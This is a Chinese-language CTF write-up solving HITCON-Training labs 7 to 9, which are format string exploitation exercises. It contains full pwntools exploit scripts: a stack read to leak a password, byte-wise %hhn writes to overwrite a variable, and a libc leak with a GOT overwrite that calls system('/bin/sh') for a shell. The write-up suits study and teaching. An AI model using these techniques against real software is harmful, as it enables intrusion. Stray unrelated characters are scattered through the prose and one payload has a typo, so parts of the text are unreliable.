最近在看格式化字符串漏洞,就做了HITCON-Tranning-Master的lab7~lab9 這幾題都是關(guān)于格式化字符串漏洞的利用的
lab7:
ida反編譯
程序先是打開/dev/urandom 文件秃流,從中取出四個(gè)字節(jié)作為password,然后要求我們輸入name和password
后面有個(gè)判斷語句 贰健,如果我們輸入的password等于程序從urandom中讀取的隨機(jī)數(shù),就執(zhí)行system(cat flag)
可以發(fā)現(xiàn)它在第20行中存在格式化字符串漏洞扯再,它將格式化字符串交給用戶來輸入
解題思路:
通過printf函數(shù) 將password給泄露出來 然后再輸入
- 確定要泄露的地址
通過ida查看password的地址
- 確定相對(duì)偏移
格式化字符串是函數(shù)的第11個(gè)參數(shù) 所以相對(duì)偏移offset=11-1=10
- 泄露password地址的內(nèi)容
payload = p32(password) + "#" + "%10$s" + "#"
“#”是為了方便接收泄露的password
exp:
from pwn import*
context.log_level="debug"
p = process('./crack')
p.recv()
payload= p32(0x0804a048) +"#"+"%10$s"+"#"
p.send(payload)
p.recvuntil("#")
data=p.recvuntil("#")
data=u32(data[:4])
p.recv()
p.send(str(data))
p.interactive()
lab8 :
ida反編譯
這道題考驗(yàn)我們利用格式化字符串漏洞改寫任意地址的內(nèi)容的能力
程序要求我們輸入一串字符串 然后輸出這串字符串
后面有一個(gè)判斷語句 magic==218 和 magic == 0xfaceb00c都可以cat flag
先做將magic覆寫為218的做法
- 確定magic地址
-
確定相對(duì)偏移
image.png
相對(duì)偏移為7
payload = p32(magic_add) + "%214c" + "%7$n"
%214c 的作用是輸出214個(gè)字符
然后做將magic覆寫為0xfaceb00c的做法
因?yàn)檫@個(gè)轉(zhuǎn)換成數(shù)字太大了 霍殴,會(huì)超出程序的內(nèi)存 澳化,所以不能像之前的那樣直接覆寫
要借助 格式化字符串的標(biāo)志 hh 和h
hh 對(duì)于整數(shù)類型屈雄,printf期待一個(gè)從char提升的int尺寸的整型參數(shù)猎荠。
h 對(duì)于整數(shù)類型,printf期待一個(gè)從short提升的int尺寸的整型參數(shù)斧拍。
“%hhn"可以向地址寫入一個(gè)字節(jié)的內(nèi)容 "%hn"可以向地址寫入兩個(gè)字節(jié)的內(nèi)容
在這里我用的是hhn
因?yàn)閿?shù)據(jù)在內(nèi)存中是按小端存儲(chǔ)的 雀扶,所以向地址依次寫入的內(nèi)容是 \x0c \xb0 \xce \xfa
payload = p32(magic) + p32(magic+1) + p32(magic+2) + p32(magic+3)
payload +=paddnig1 + "%7$hhn" + padding2 + "%8hhn" + padding3 + "%9$hhn" + padding4 + "%10$hhn"
padding可以手算也可以用腳本算
腳本為:
def fmt(prev,word,index):
payload = ''
if word > prev:
temp = word - prev
payload += '%' + str(temp) + 'c'
elif word == prev:
temp = 0
else:
temp = 256 + word - prev
payload += '%' + str(temp) + 'c'
payload += '%'+str(index)+ '$hhn'
return payload
def fmt_start(address,offset,target,size,):
payload=''
if size == 4:
for i in range(4):
payload += p32(address+i)
else:
for i in range(4):
payload += p64(address+i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target>>8*i)&0xff,offset+i)
prev = (target >> 8*i)&0xff
return payload
address是我們要覆寫的地址 ,offset是相對(duì)偏移 肆汹,target是要覆寫的值 愚墓,size則表示機(jī)器字長(zhǎng)
target>>8i的作用是去掉target最后2i位,&0xff的作用是取(target>>8*i)的最低兩位
例如 target>>8 ==0xfaceb0 同時(shí) (target>>8) &0xff == 0xb0
exp:
from pwn import*
context.log_level = "debug"
p = process('./craxme')
magic = 0xfaceb00c
target = 0x0804a038
def fmt(prev,word,index):
payload = ''
if word > prev:
temp = word - prev
payload += '%' + str(temp) + 'c'
elif word == prev:
temp = 0
else:
temp = 256 + word - prev#this make sure the lowest 2 byte is word
payload += '%' + str(temp) + 'c'
payload += '%'+str(index)+ '$hhn'
return payload
def fmt_start(address,offset,target,size,):
payload=''
if size == 4:
for i in range(4):
payload += p32(address+i)
else:
for i in range(4):
payload += p64(address+i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target>>8*i)&0xff,offset+i)
prev = (target >> 8*i)&0xff
return payload
s= fmt_start(0x0804a038,7,0xfaceb00c,4)
p.recv()
p.send(s)
print p.recv()
p.interactive()
lab9:
關(guān)鍵函數(shù)ida反匯編代碼
很明顯的一個(gè)格式化字符串漏洞
題目沒有system函數(shù) 昂勉,所以我們要做的是 獲取system函數(shù)的地址 同時(shí)調(diào)用system來getshell,可以通過泄露printf_got的地址來獲取libc在內(nèi)存中的地址 計(jì)算出system函數(shù)的地址,然后將printf_got覆蓋成system函數(shù)的地址 再傳入"/bin/sh"來獲取shell
但是這題和之前兩題有點(diǎn)不同浪册, 它的格式化字符串位于bss段上,不在棧上,所以不能通過上面的方法來泄露
這里我用的地址是:
ebp_1 = 0xffffcfc8 ebp_2=0xffffcfd8
fmt_7 = 0xffffcfcc fmt_11=0xffffcfdc
ebp_1的相對(duì)偏移為6 ebp_2的相對(duì)偏移為10
這里覆寫地址內(nèi)容主要用到的是 %hn 一次寫入兩個(gè)字節(jié)內(nèi)容
解題思路:
- 通過ebp_1使ebp_2指向fmt_7
- 通過ebp_2將fmt_7處的內(nèi)容覆蓋成printf_got
- 通過ebp_1使ebp_2指向fmt_11
- 通過ebp_2將fmt_11處的內(nèi)容修改成printf_got+2
- 通過fmt_7將printf_got地址泄露出來
- 計(jì)算出system函數(shù)的地址 ,將system函數(shù)地址寫入printf在got表的地址 具體做法是將 system函數(shù)地址的前兩個(gè)字節(jié)寫入fmt_7,后兩個(gè)字節(jié)寫入 fmt_11
- 輸入"/bin/sh"字符串調(diào)用system函數(shù)
exp:
from pwn import*
context.log_level="debug"
p = process('./playfmt')
elf=ELF('./playfmt')
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
system_lib = lib.symbols['system']
printf_lib = lib.symbols['printf']
printf_got = elf.got['printf']
p.recv()
log.info("**********leak printf_got************")
payload = "%6$x"
p.sendline(payload)
ebp2_add = int(p.recv(),16)
print ebp2_add
ebp1_add = ebp2_add - 0x10
fmt_7 = ebp2_add - 0xc
fmt_11 = ebp2_add + 4
log.info("printf_got --> [%s]"%hex(elf.got['printf']))
log.info("ebp2_address --> [%s]"%hex(ebp2_add))
log.info("fmt7_address --> [%s]"%hex(fmt_7))
log.info("fmt11_address --> [%s]"%hex(fmt_11))
payload = '%' + str(fmt_7&0xffff)+'c%6$hn'
#ebp2_add --> fmt_7
p.sendline(payload)
p.recv()
#fmt_7 --> printf_got
payload = '%' + str(printf_got&0xffff) + 'c%10$hn\x00'
p.sendline(payload)
p.recv()
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break
#ebp2_add --> fmt_11
payload ='%' + str(fmt_11&0xffff) + 'c%6$hn\x00'
p.sendline(payload)
p.recv()
#fmt_11 --> printf_got + 2
payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'
p.send(payload)
p.recv()
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break
payload = 'aaaa%7$s\x00'
p.send(payload)
p.recvuntil("aaaa")
printf_add = u32(p.recv(4))
log.info("print_add --> [%s]"%hex(printf_add))
system_add = printf_add - lib.symbols['printf'] + lib.symbols['system']
pause()
payload = "%" + str(system_add&0xffff) +"c%7$hn"
payload +="%" + str((system_add>>16)-(system_add&0xffff))+"c%11$hn"
p.sendline(payload)
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break
p.send("/bin/sh\x00")
p.interactive()
下面對(duì)腳本做點(diǎn)解釋
因?yàn)閜wntool的recv()函數(shù)一次最多接受0x1000字節(jié)的內(nèi)容岗照,用%hn這種方式會(huì)接收很多字符村象,單次肯定接收不完笆环,
所以通過發(fā)送標(biāo)志字符串 然后接收查看標(biāo)志字符串的方式來檢查是否接收完,不然的話會(huì)卡住
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break